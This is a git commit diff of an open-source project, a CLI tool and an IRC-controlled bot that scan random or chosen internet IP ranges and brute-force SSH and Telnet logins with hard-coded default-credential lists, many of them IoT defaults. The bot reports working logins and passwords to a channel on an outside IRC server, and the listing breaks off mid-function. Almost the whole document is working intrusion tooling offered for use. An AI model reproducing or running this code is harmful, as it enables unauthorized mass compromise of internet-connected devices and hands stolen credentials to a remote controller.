←︎ spaggiari :: 334bcac


1
commit 334bcac258e43914f4d3e7b3a2086c7f0eaafd1f (HEAD -> master)
2
Author: acidvegas <acid.vegas@acid.vegas>
3
Date:   Fri Jun 28 02:29:23 2019 -0400
4
5
    Initial commit
6
---
7
 LICENSE                    |  15 ++
8
 README.md                  |  65 +++++++
9
 spaggiari/spaggiari.py     | 266 ++++++++++++++++++++++++++
10
 spaggiari/spaggiari_irc.py | 464 +++++++++++++++++++++++++++++++++++++++++++++
11
 4 files changed, 810 insertions(+)
12
13
diff --git a/LICENSE b/LICENSE
14
new file mode 100644
15
index 0000000..69997e8
16
--- /dev/null
17
+++ b/LICENSE
18
@@ -0,0 +1,15 @@
19
+ISC License
20
+
21
+Copyright (c) 2019, acidvegas <acid.vegas@acid.vegas>
22
+
23
+Permission to use, copy, modify, and/or distribute this software for any
24
+purpose with or without fee is hereby granted, provided that the above
25
+copyright notice and this permission notice appear in all copies.
26
+
27
+THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
28
+WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
29
+MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
30
+ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
31
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
32
+ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
33
+OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
34
diff --git a/README.md b/README.md
35
new file mode 100644
36
index 0000000..6445427
37
--- /dev/null
38
+++ b/README.md
39
@@ -0,0 +1,65 @@
40
+#####*'sans armes, ni haine, ni violence'*
41
+
42
+###### Requirments
43
+ - [Paramiko Library](http://www.paramiko.org/)
44
+ 
45
+###### Information
46
+Spaggiari scanner comes in 2 versions, a CLI version and an IRC version.
47
+
48
+You must edit the config in the IRC version in order to have the bot connect.
49
+
50
+###### CLI Commands
51
+**Usage:** spaggiari.py [OPTIONS] [SCAN]
52
+
53
+| Option | Description |
54
+| --- | --- |
55
+| -d | enable deep scanning. |
56
+| -f | enable fast scanning. |
57
+| -o \<path> | save output from scan(s) to file. |
58
+
59
+
60
+
61
+| Scan | Description |
62
+| --- | --- |
63
+| -l \<path> | scan a list of ip addresses from file. |
64
+| -x | scan random ip addresses. (does not stop) |
65
+| -r \<class> \<range> | scan a range of ip addresses. |
66
+| -t \<ip> | scan a target ip address. |
67
+
68
+Deep scanning uses a larger list of combos to bruteforce with.
69
+
70
+###### IRC Commands
71
+| Command | Description |
72
+| --- | --- |
73
+| @random | Scan random ip addresses. |
74
+| @range \<class> \<range> | Scan a range of ip addresses. |
75
+| @range \<class> random | Scan a random range of ip addresses. |
76
+| @status | Check the scanning status on the bot. |
77
+| @stop | Stop all current running scans. |
78
+
79
+*Note:* The <class> can be b or c. The <range> is the ip address range prefix to scan.
80
+
81
+**CLI Examples:**
82
+* `spaggiari.py -r b 192.168`   *(Scans the range 192.168.0.0-192.168.255.255)*
83
+* `spaggiari.py -r c 192.168.1` *(Scans the range 192.168.1.0-192.168.1.255)*
84
+* `spaggiari.py -r b random`    *(Scans the range ?.?.0.0-?.?.255.255)*
85
+* `spaggiari.py -r c random`    *(Scans the range ?.?.?.0-?.?./.255)*
86
+    
87
+**IRC Examples:**
88
+* `@range b 192.168`   *(Scans the range 192.168.0.0-192.168.255.255)*
89
+* `@range c 192.168.1` *(Scans the range 192.168.1.0-192.168.1.255)*
90
+* `@range b random`    *(Scans the range ?.?.0.0-?.?.255.255)*
91
+* `@range c random`    *(Scans the range ?.?.?.0-?.?./.255)*
92
+
93
+###### Python Version Notice
94
+All scripts on this github were developed and written to be used with the latest version of Python.
95
+
96
+Check the Python [download page](https://www.python.org/downloads/) for the latest version.
97
+
98
+Running the scripts with same major version and not the same major/minor version can cause errors.
99
+
100
+###### Mirrors
101
+- [acid.vegas](https://acid.vegas/spaggiari) *(main)*
102
+- [SuperNETs](https://git.supernets.org/acidvegas/spaggiari)
103
+- [GitHub](https://github.com/acidvegas/spaggiari)
104
+- [GitLab](https://gitlab.com/acidvegas/spaggiari)
105
diff --git a/spaggiari/spaggiari.py b/spaggiari/spaggiari.py
106
new file mode 100644
107
index 0000000..7ace113
108
--- /dev/null
109
+++ b/spaggiari/spaggiari.py
110
@@ -0,0 +1,266 @@
111
+#!/usr/bin/env python
112
+# Spaggiari Scanner - Developed by acidvegas in Python (https://acid.vegas/spaggiari)
113
+
114
+import argparse
115
+import logging
116
+import os
117
+import random
118
+import re
119
+import socket
120
+import sys
121
+import threading
122
+import time
123
+from collections import OrderedDict
124
+
125
+# Throttle Settings
126
+max_threads     = 100
127
+throttle        = 20
128
+timeout_breaker = 5
129
+timeout_port    = 10
130
+timeout_ssh     = 10
131
+
132
+# SSH Login Combos
133
+combos = OrderedDict([
134
+    ('root',  ('root','toor','admin','changeme','pass','password','1234','12345','123456')),
135
+    ('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password'))
136
+])
137
+
138
+deep_combos = OrderedDict([
139
+    ('root',      ('alien','alpine','calvin','kn1TG7psLu','logapp','openelec','pixmet2003','raspberrypi','rasplex','rootme','soho','TANDBERG','trendimsa1.0')),
140
+    ('admin',     ('aerohive','kn1TG7psLu','TANDBERG')),
141
+    ('alien',     'alien'),
142
+    ('bitnami',   'bitnami'),
143
+    ('cisco',     'cisco'),
144
+    ('device',    'apc'),
145
+    ('dpn',       'changeme'),
146
+    ('HPSupport', 'badg3r5'),
147
+    ('lp',        'lp'),
148
+    ('master',    'themaster01'),
149
+    ('osmc',      'osmc'),
150
+    ('pi',        'raspberry'),
151
+    ('plexuser',  'rasplex'),
152
+    ('sysadmin',  'PASS'),
153
+    ('toor',      'logapp'),
154
+    ('ubnt',      'ubnt'),
155
+    ('user',      ('acme','live')),
156
+    ('vagrant',   'vagrant'),
157
+    ('virl',      'VIRL'),
158
+    ('vyos',      'vyos')
159
+])
160
+
161
+# Excluded IP Ranges
162
+reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255')
163
+
164
+def check_ip(ip):
165
+    return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip)
166
+
167
+def check_port(ip, port):
168
+    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
169
+    sock.settimeout(timeout_port)
170
+    try:
171
+        code = sock.connect((ip, port))
172
+    except socket.error:
173
+        return False
174
+    else:
175
+        if not code:
176
+            return True
177
+        else:
178
+            return False
179
+    finally:
180
+        sock.close()
181
+
182
+def check_range(targets):
183
+    found = False
184
+    for ip in targets:
185
+        if found:
186
+            break
187
+        for bad_range in reserved:
188
+            if ip.startswith(bad_range + '.'):
189
+                found = True
190
+                break
191
+    return found
192
+
193
+def ip_range(start_ip, end_ip):
194
+    start = list(map(int, start_ip.split('.')))
195
+    end   = list(map(int, end_ip.split('.')))
196
+    temp  = start
197
+    ip_range = []
198
+    ip_range.append(start_ip)
199
+    while temp != end:
200
+        start[3] += 1
201
+        for i in (3, 2, 1):
202
+           if temp[i] == 256:
203
+              temp[i] = 0
204
+              temp[i-1] += 1
205
+        ip_range.append('.'.join(map(str, temp)))
206
+    random.shuffle(ip_range)
207
+    return ip_range
208
+
209
+def random_int(min, max):
210
+    return random.randint(min, max)
211
+
212
+def random_ip():
213
+    return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255))
214
+
215
+def random_scan():
216
+    while True:
217
+        ip = (random_ip(),)
218
+        if not check_range(ip):
219
+            threading.Thread(target=ssh_bruteforce, args=(ip[0],)).start()
220
+        while threading.activeCount() >= max_threads:
221
+            time.sleep(1)
222
+
223
+def range_scan(ip_range):
224
+    for ip in ip_range:
225
+        threading.Thread(target=ssh_bruteforce, args=(ip,)).start()
226
+        while threading.activeCount() >= max_threads:
227
+            time.sleep(1)
228
+    while threading.activeCount() >= 2:
229
+        time.sleep(1)
230
+
231
+def ssh_bruteforce(ip):
232
+    timeouts = 0
233
+    if check_port(ip, 22):
234
+        logging.debug('{0} has port 22 open.'.format(ip))
235
+        for username in combos:
236
+            passwords = combos[username]
237
+            for password in combos[username]:
238
+                if timeouts >= timeout_breaker:
239
+                    break
240
+                else:
241
+                    result = ssh_connect(ip, username, password)
242
+                    if result == 1:
243
+                        timeouts += 1
244
+                    elif result == 2:
245
+                        timeouts = timeout_breaker
246
+                    time.sleep(throttle)
247
+    else:
248
+        logging.error('{0} does not have port 22 open.'.format(ip))
249
+
250
+def ssh_connect(hostname, username, password):
251
+    ssh = paramiko.SSHClient()
252
+    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
253
+    try:
254
+        ssh.connect(hostname, 22, username, password, timeout=timeout_ssh)
255
+    except socket.timeout:
256
+        logging.error('Failed to connect to {0} using {1}:{2} (Timeout)'.format(hostname, username, password))
257
+        return 1
258
+    except Exception as ex:
259
+        logging.error('Failed to connect to {0} using {1}:{2} ({3})'.format(hostname, username, password, str(ex)))
260
+        return 0
261
+    else:
262
+        logging.info('Successful connection to {0} using {1}:{2}'.format(hostname, username, password))
263
+        return 2
264
+    finally:
265
+        ssh.close()
266
+
267
+# Main
268
+print(''.rjust(56, '#'))
269
+print('#{0}#'.format(''.center(54)))
270
+print('#{0}#'.format('Spaggiari Scanner'.center(54)))
271
+print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
272
+print('#{0}#'.format('https://git.supernets.org/acidvegas/spaggiari'.center(54)))
273
+print('#{0}#'.format(''.center(54)))
274
+logger = logging.getLogger()
275
+logger.setLevel(logging.INFO)
276
+stream_handler = logging.StreamHandler(sys.stdout)
277
+stream_handler.setLevel(logging.INFO)
278
+formatter = logging.Formatter('%(asctime)s | %(levelname)8s: %(message)s', '%I:%M:%S')
279
+stream_handler.setFormatter(formatter)
280
+logger.addHandler(stream_handler)
281
+if not sys.version_info.major == 3:
282
+    logging.critical('Spaggiari Scanner requires Python version 3 to run!')
283
+    sys.exit()
284
+try:
285
+    import paramiko
286
+except ImportError:
287
+    logging.critical('Failed to import the Paramiko library!')
288
+    sys.exit()
289
+else:
290
+    paramiko.util.log_to_file(os.devnull)
291
+parser = argparse.ArgumentParser(prog='spaggiari.py', usage='%(prog)s [OPTIONS] [SCAN]')
292
+parser.add_argument('-d', action='store_true', dest='deepscan', help='option: enable deep scanning.')
293
+parser.add_argument('-f', action='store_true', dest='fastscan', help='option: enable fast scanning.')
294
+parser.add_argument('-o', dest='output', help='option: save output from scan(s) to file.', metavar='<path>', type=str)
295
+parser.add_argument('-l', dest='listscan', help='scan a list of ip addresses from file.', metavar='<path>', type=str)
296
+parser.add_argument('-x', action='store_true', dest='randscan', help='scan random ip addresses. (does not stop)')
297
+parser.add_argument('-r', dest='rangescan', help='scan a range of ip addresses.', metavar=('<class>', '<range>'), nargs=2, type=str)
298
+parser.add_argument('-t', dest='targetscan', help='scan a target ip address.', metavar='<ip>', type=str)
299
+args = parser.parse_args()
300
+if args.deepscan:
301
+    if not args.targetscan:
302
+        logging.critical('Deep scanning can only be enabled with a target scan. (-t)')
303
+        sys.exit()
304
+    elif args.fastscan:
305
+        logging.critical('Fast scanning can not be enabled with a deep scan. (-f)')
306
+        sys.exit()
307
+    else:
308
+        combos = combos + deep_combos
309
+elif args.fastscan:
310
+    if args.targetscan:
311
+        logging.critical('Fast scanning can not be enabled with a target scan.')
312
+    combos = {'root':('root',) }
313
+if args.output:
314
+    file_handler = logging.FileHandler(args.output)
315
+    file_handler.setLevel(logging.DEBUG)
316
+    file_handler.setFormatter(formatter)
317
+    logger.addHandler(file_handler)
318
+    logger.debug('Logging enabled.')
319
+if args.listscan:
320
+    if os.path.isfile(args.listscan):
321
+        targets = []
322
+        with open(args.listscan) as list_file:
323
+            lines = list_file.read().splitlines()
324
+            for line in [x for x in lines if x]:
325
+                if check_ip(line):
326
+                    targets.append(line)
327
+        if targets:
328
+            if not check_range(targets):
329
+                logging.debug('Scanning {0:,} IP addresses from list...'.format(len(targets)))
330
+                range_scan(targets)
331
+                logging.debug('Scan has completed.')
332
+            else:
333
+                logging.error('Reserved IP address in range.')
334
+        else:
335
+            logging.error('List contains no valid IP addresses.')
336
+    else:
337
+        logging.error('Invalid list file. ({0})'.format(args.listscan))
338
+elif args.randscan:
339
+    logging.debug('Scanning random IP addresses...')
340
+    random_scan()
341
+elif args.rangescan:
342
+    if args.rangescan[0] in ('b','c'):
343
+        if args.rangescan[0] == 'b':
344
+            if args.iprange == 'random':
345
+                range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255))
346
+            else:
347
+                range_prefix = args.rangescan[1]
348
+            start = range_prefix + '.0.0'
349
+            end   = range_prefix + '.255.255'
350
+        elif args.rangescan[0] == 'c':
351
+            if args.iprange == 'random':
352
+                range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255))
353
+            else:
354
+                range_prefix = args.rangescan[1]
355
+            start = range_prefix + '.0'
356
+            end   = range_prefix + '.255'
357
+        if check_ip(start):
358
+            targets = ip_range(start, end)
359
+            if not check_range(targets):
360
+                logging.debug('Scanning {0} IP addresses in range...'.format(len(targets)))
361
+                range_scan(targets)
362
+                logging.debug('Scan has completed.')
363
+            else:
364
+                logging.error('Reserved IP address in range.')
365
+        else:
366
+            logging.error('Invalid IP range prefix. ({0})'.format(args.rangescan[1]))
367
+    else:
368
+        logging.error('Invalid IP Class. ({0})'.format(args.rangescan[0]))
369
+elif args.targetscan:
370
+    if check_ip(args.targetscan):
371
+        ssh_bruteforce(args.targetscan)
372
+        logging.debug('Scan has completed.')
373
+    else:
374
+        logging.error('Invalid IP Address. ({0})'.format(args.targetscan))
375
+else:
376
+    parser.print_help()
377
diff --git a/spaggiari/spaggiari_irc.py b/spaggiari/spaggiari_irc.py
378
new file mode 100644
379
index 0000000..48b5357
380
--- /dev/null
381
+++ b/spaggiari/spaggiari_irc.py
382
@@ -0,0 +1,464 @@
383
+#!/usr/bin/env python
384
+# Spaggiari Scanner (IRC Bot Version) - Developed by acidvegas in Python (https://acid.vegas/spaggiari)
385
+
386
+import ipaddress
387
+import os
388
+import random
389
+import re
390
+import socket
391
+import ssl
392
+import sys
393
+import telnetlib
394
+import threading
395
+import time
396
+from collections import OrderedDict
397
+
398
+# IRC Config
399
+server     = 'irc.supernets.org'
400
+port       = 6667
401
+use_ipv6   = False
402
+use_ssl    = False
403
+password   = None
404
+channel    = '#dev'
405
+key        = None
406
+admin_host = 'ak@super.nets'
407
+
408
+# Throttle Settings
409
+max_threads     = 120 # Maximum number of threads.
410
+throttle        = 0   # Delway between each combo attempt.
411
+timeout_breaker = 3   # How many timeouts until host is given up on.
412
+timeout         = 3   # Timeout for all sockets.
413
+
414
+# Bruteforce Combos
415
+ssh_combos = OrderedDict([
416
+    ('root',  ('root','toor','admin','changeme','pass','password','1234','12345','123456')),
417
+    ('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password'))
418
+])
419
+
420
+telnet_combos = OrderedDict([
421
+    ('666666',        ('666666',)),
422
+    ('888888',        ('888888',)),
423
+    ('admin',         (None, '1111', '1111111', '1234', '12345', '123456', '54321', '7ujMko0admin', 'admin', 'admin1234', 'meinsm', 'pass', 'password', 'smcadmin')),
424
+    ('admin1',        ('password',)),
425
+    ('administrator', ('1234',)),
426
+    ('Administrator', ('admin',)),
427
+    ('guest',         ('12345', 'guest')),
428
+    ('mother',        ('fucker',)),
429
+    ('root',          (None, '00000000', '1111', '1234', '12345', '123456', '54321', '666666', '7ujMko0admin', '7ujMko0vizxv', '888888', 'admin', 'anko', 'default', 'dreambox', 'hi3518', 'ikwb', 'juantech', 'jvbzd', 'klv123', 'klv1234', 'pass', 'password', 'realtek', 'root', 'system', 'user', 'vizxv', 'xc3511', 'xmhdipc', 'zlxx.', 'Zte521')),
430
+    ('service',       ('service',)),
431
+    ('supervisor',    ('supervisor',)),
432
+    ('support',       ('support',)),
433
+    ('tech',          ('tech',)),
434
+    ('ubnt',          ('ubnt',)),
435
+    ('user',          ('user',))
436
+])
437
+
438
+# Important Ranges (DO NOT EDIT)
439
+spooky   = ('11','21','22','24','25','26','29','49','50','55','62','64','128','129','130','131','132','134','136','137','138','139','140','143','144','146','147','148','150','152','153','155','156','157','158','159','161','162','163','164','167','168','169','194','195','199','203','204','205','207','208','209','212','213','216','217','6','7')
440
+reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255')
441
+
442
+# Formatting Control Characters / Color Codes
443
+bold        = '\x02'
444
+italic      = '\x1D'
445
+underline   = '\x1F'
446
+reverse     = '\x16'
447
+reset       = '\x0f'
448
+white       = '00'
449
+black       = '01'
450
+blue        = '02'
451
+green       = '03'
452
+red         = '04'
453
+brown       = '05'
454
+purple      = '06'
455
+orange      = '07'
456
+yellow      = '08'
457
+light_green = '09'
458
+cyan        = '10'
459
+light_cyan  = '11'
460
+light_blue  = '12'
461
+pink        = '13'
462
+grey        = '14'
463
+light_grey  = '15'
464
+
465
+# Debug Functions
466
+def debug(msg):
467
+    print('{0} | [~] - {1}'.format(get_time(), msg))
468
+
469
+def error(msg, reason=None):
470
+    if reason:
471
+        print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason)))
472
+    else:
473
+        print('{0} | [!] - {1}'.format(get_time(), msg))
474
+
475
+def error_exit(msg):
476
+    raise SystemExit('{0} | [!] - {1}'.format(get_time(), msg))
477
+
478
+def get_time():
479
+    return time.strftime('%I:%M:%S')
480
+
481
+
482
+
483
+# Functions
484
+def check_ip(ip):
485
+    return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip)
486
+
487
+def check_port(ip, port):
488
+    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
489
+    sock.settimeout(timeout)
490
+    try:
491
+        code = sock.connect((ip, port))
492
+    except socket.error:
493
+        return False
494
+    else:
495
+        if not code:
496
+            return True
497
+        else:
498
+            return False
499
+    finally:
500
+        sock.close()
501
+
502
+def check_range(targets):
503
+    found = False
504
+    for ip in targets:
505
+        if found:
506
+            break
507
+        for bad_range in spooky + reserved:
508
+            if ip.startswith(bad_range + '.'):
509
+                found = True
510
+                break
511
+    return found
512
+
513
+def color(msg, foreground, background=None):
514
+    if background:
515
+        return '\x03{0},{1}{2}{3}'.format(foreground, background, msg, reset)
516
+    else:
517
+        return '\x03{0}{1}{2}'.format(foreground, msg, reset)
518
+
519
+def ip_range(network):
520
+    return ipaddress.ip_network(network)
521
+
522
+def random_ip():
523
+    return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255))
524
+
525
+def random_int(min, max):
526
+    return random.randint(min, max)
527
+
528
+def random_str(size):
529
+    return ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(size))
530
+
531
+
532
+
533
+# Scan Functions
534
+class random_scan(threading.Thread):
535
+    def __init__(self):
536
+        threading.Thread.__init__(self)
537
+    def run(self):
538
+        while True:
539
+            if Spaggiari.stop_scan:
540
+                break
541
+            else:
542
+                ip = (random_ip(), )
543
+                if not check_range(ip):
544
+                    ssh_bruteforce(ip[0]).start()
545
+            while threading.activeCount() >= max_threads:
546
+                time.sleep(1)
547
+
548
+class range_scan(threading.Thread):
549
+    def __init__(self, ip_range):
550
+        self.ip_range = ip_range
551
+        threading.Thread.__init__(self)
552
+    def run(self):
553
+        for ip in self.ip_range:
554
+            if Spaggiari.stop_scan:
555
+                break
556
+            else:
557
+                ssh_bruteforce(ip).start()
558
+                self.ip_range.remove(ip)
559
+                while threading.activeCount() >= max_threads:
560
+                    time.sleep(1)
561
+        while threading.activeCount() >= 2:
562
+            time.sleep(1)
563
+        Spaggiari.scanning = False
564
+        Spaggiari.sendmsg(channel, '[{0}] - Scan has completed.'.format(color('#', blue)))
565
+
566
+class ssh_bruteforce(threading.Thread):
567
+    def __init__(self, ip):
568
+        self.ip       = ip
569
+        self.timeouts = 0
570
+        threading.Thread.__init__(self)
571
+    def run(self):
572
+        if check_port(self.ip, 22):
573
+            for username in ssh_combos:
574
+                for password in ssh_combos[username]:
575
+                    if Spaggiari.stop_scan or self.timeouts >= timeout_breaker:
576
+                        break
577
+                    else:
578
+                        result = ssh_connect(self.ip, username, password)
579
+                        if result == 1:
580
+                            self.timeouts += 1
581
+                        elif result == 2:
582
+                            self.timeouts = timeout_breaker
583
+                        time.sleep(throttle)
584
+
585
+class telnet_bruteforce(threading.Thread):
586
+    def __init__(self, ip):
587
+        self.ip       = ip
588
+        self.timeouts = 0
589
+        threading.Thread.__init__(self)
590
+    def run(self):
591
+        if check_port(self.ip, 23):
592
+            for username in telnet_combos:
593
+                for password in telnet_combos[username]:
594
+                    if Spaggiari.stop_scan or self.timeouts >= timeout_breaker:
595
+                        break
596
+                    else:
597
+                        result = telnet_connect(self.ip, username, password)
598
+                        if result == 1:
599
+                            self.timeouts += 1
600
+                        elif result == 2:
601
+                            self.timeouts = timeout_breaker
602
+                        time.sleep(throttle)
603
+
604
+def ssh_connect(hostname, username, password):
605
+    ssh = paramiko.SSHClient()
606
+    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
607
+    try:
608
+        ssh.connect(hostname, 22, username, password, timeout=timeout)
609
+        stdin,stdout,stderr = ssh.exec_command('echo lol')
610
+        for line in stdout.readlines():
611
+            if 'ogin:' in line:
612
+                raise Exception('Invalid')
613
+            else:
614
+                Spaggiari.sendmsg(channel, line)
615
+    except socket.timeout:
616
+        return 1
617
+    except:
618
+        return 0
619
+    else:
620
+        Spaggiari.sendmsg(channel, '[{0}] - Successful SSH connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password))
621
+        return 2
622
+    finally:
623
+        ssh.close()
624
+
625
+def telnet_connect(hostname, username, password):
626
+    try:
627
+        tn = telnetlib.Telnet(hostname, 23, timeout)
628
+#        time.sleep(1)
629
+#        print(tn.read_some())
630
+        tn.read_until((b':' or b'>' or b'$' or b'@'))
631
+        tn.write(username.encode() + b'\n')
632
+        tn.read_until((b':' or b'>' or b'$' or b'@'))
633
+        tn.write(password.encode() + b'\n')
634
+        tn.read_all()
635
+        tn.close()
636
+    except socket.timeout:
637
+        return 1
638
+    except:
639
+        return 0
640
+    else:
641
+        Spaggiari.sendmsg(channel, '[{0}] - Successful Telnet connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password))
642
+        return 2
643
+
644
+
645
+
646
+# IRC Bot Object
647
+class IRC(object):
648
+    def __init__(self):
649
+        self.server    = server
650
+        self.port      = port
651
+        self.use_ipv6  = use_ipv6
652
+        self.use_ssl   = use_ssl
653
+        self.password  = password
654
+        self.channel   = channel
655
+        self.key       = key
656
+        self.nickname  = 'spag-' + random_str(5)
657
+        self.scanning  = False
658
+        self.stop_scan = False
659
+        self.sock      = None
660
+
661
+    def start(self):
662
+        self.connect()
663
+
664
+    def action(self, chan, msg):
665
+        self.sendmsg(chan, '\x01ACTION {0}\x01'.format(msg))
666
+
667
+    def connect(self):
668
+        try:
669
+            self.create_socket()
670
+            self.sock.connect((self.server, self.port))
671
+            if self.password:
672
+                self.raw('PASS ' + self.password)
673
+            self.raw(f'USER {random_str(5)} 0 * :{random_str(5)}')
674
+            self.nick(self.nickname)
675
+        except Exception as ex:
676
+            error('Failed to connect to IRC server.', ex)
677
+            self.event_disconnect()
678
+        else:
679
+            self.listen()
680
+
681
+    def create_socket(self):
682
+        family    = socket.AF_INET6 if self.use_ipv6 else socket.AF_INET
683
+        self.sock = socket.socket(family, socket.SOCK_STREAM)
684
+        if self.use_ssl:
685
+            self.sock = ssl.wrap_socket(self.sock)
686
+
687
+    def error(self, chan, msg, reason=None):
688
+        if reason:
689
+            self.sendmsg(chan, '[{0}] {1} {2}'.format(color('ERROR', red), msg, color('({0})'.format(str(reason)), grey)))
690
+        else:
691
+            self.sendmsg(chan, '[{0}] {1}'.format(color('ERROR', red), msg))
692
+
693
+    def event_connect(self):
694
+        self.join(self.channel, self.key)
695
+
696
+    def event_disconnect(self):
697
+        self.sock.close()
698
+        self.stop_scan = True
699
+        while threading.activeCount() >= 3:
700
+            time.sleep(1)
701
+        self.scanning  = False
702
+        self.stop_scan = False
703
+        time.sleep(10)
704
+        self.connect()
705
+
706
+    def event_kick(self, nick, chan, kicked, reason):
707
+        if kicked == self.nickname and chan == self.channel:
708
+            self.join(chan, self.key)
709
+
710
+    def event_message(self, nick, host, chan, msg):
711
+        #if host == admin_host:
712
+            args = msg.split()
713
+            cmd  = msg.split()[0][1:]
714
+            if cmd == 'random':
715
+                if not self.scanning:
716
+                    self.sendmsg(chan, '[{0}] - Scanning random IP addresses...'.format(color('#', blue)))
717
+                    self.scanning = True
718
+                    random_scan().start()
719
+                else:
720
+                    self.error(chan, 'A scan is already running.')
721
+            elif cmd == 'status':
722
+                if self.scanning:
723
+                    self.sendmsg(chan, 'Scanning: ' + color('True', green))
724
+                else:
725
+                    self.sendmsg(chan, 'Scanning: ' + color('False', red))
726
+            elif cmd == 'stop':
727
+                if self.scanning:
728
+                    self.stop_scan = True
729
+                    while threading.activeCount() >= 2:
730
+                        time.sleep(1)
731
+                    self.action(chan, 'Stopped all running scans.')
732
+                    self.scanning  = False
733
+                    self.stop_scan = False
734
+            elif cmd == 'range':
735
+                if not self.scanning:
736
+                    if args[1] in ('b','c'):
737
+                        if args[1] == 'b':
738
+                            if args[2] == 'random':
739
+                                range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255))
740
+                            else:
741
+                                range_prefix = args[2]
742
+                            start = range_prefix + '.0.0'
743
+                            end   = range_prefix + '.255.255'
744
+                        elif args[1] == 'c':
745
+                            if args[2] == 'random':
746
+                                range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255))
747
+                            else:
748
+                                range_prefix = args[2]
749
+                            start = range_prefix + '.0'
750
+                            end   = range_prefix + '.255'
751
+                        if check_ip(start) and check_ip(end):
752
+                            targets = ip_range(start, end)
753
+                            if not check_range(targets):
754
+                                self.sendmsg(chan, '[{0}] - Scanning {1} IP addresses in range...'.format(color('#', blue), '{:,}'.format(len(targets))))
755
+                                self.scanning = True
756
+                                range_scan(targets).start()
757
+                            else:
758
+                                self.error(chan, 'Spooky/Reserved IP address range.')
759
+                        else:
760
+                            self.error(chan, 'Invalid IP address range.')
761
+                    else:
762
+                        self.error(chan, 'Invalid arguments.')
763
+                else:
764
+                    self.error(chan, 'A scan is already running.')
765
+
766
+    def event_nick_in_use(self):
767
+        self.nickname = 'spag-' + random_str(5)
768
+        self.nick(self.nickname)
769
+
770
+    def handle_events(self, data):
771
+        args = data.split()
772
+        if args[0] == 'PING':
773
+            self.raw('PONG ' + args[1][1:])
774
+        elif args[1] == '001':
775
+            self.event_connect()
776
+        elif args[1] == '433':
777
+            self.event_nick_in_use()
778
+        if args[1] == 'KICK':
779
+            nick   = args[0].split('!')[0][1:]
780
+            chan   = args[2]
781
+            kicked = args[3]
782
+            self.event_kick(nick, chan, kicked)
783
+        elif args[1] == 'PRIVMSG':
784
+            nick = args[0].split('!')[0][1:]
785
+            if nick != self.nickname:
786
+                host = args[0].split('!')[1].split('@')[1]
787
+                chan = args[2]
788
+                if chan == self.channel:
789
+                    msg = ' '.join(args[3:])[1:]
790
+                    self.event_message(nick, host, chan, msg)
791
+
792
+    def join(self, chan, key=None):
793
+        if key:
794
+            self.raw(f'JOIN {chan} {key}')
795
+        else:
796
+            self.raw('JOIN ' + chan)
797
+
798
+    def listen(self):
799
+        while True:
800
+            try:
801
+                data = self.sock.recv(1024).decode('utf-8')
802
+                if data:
803
+                    for line in (line for line in data.split('\r\n') if line):
804
+                        debug(line)
805
+                        if len(line.split()) >= 2:
806
